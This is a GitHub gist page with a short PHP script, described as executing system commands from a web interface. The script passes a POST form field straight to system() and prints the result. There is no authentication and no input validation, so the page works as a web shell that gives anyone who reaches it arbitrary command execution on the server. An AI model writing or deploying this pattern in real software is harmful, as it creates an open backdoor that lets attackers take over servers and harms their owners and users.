Skip to content

Instantly share code, notes, and snippets.

@dwiash
Created September 30, 2009 09:50
Show Gist options
  • Save dwiash/197951 to your computer and use it in GitHub Desktop.
Save dwiash/197951 to your computer and use it in GitHub Desktop.
execute system command from web interface
<?php
if($_POST['exec'] == 'exec'){
$r = system($_POST['command'], $l);
// debug
print($r);
print('<hr/>');
print($l);
print('<hr/>');
}
?>
<form method="POST">
<input type="text" name="command" style="width:500px" />
<br />
<input type="submit" name="exec" value="exec"/>
</form>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment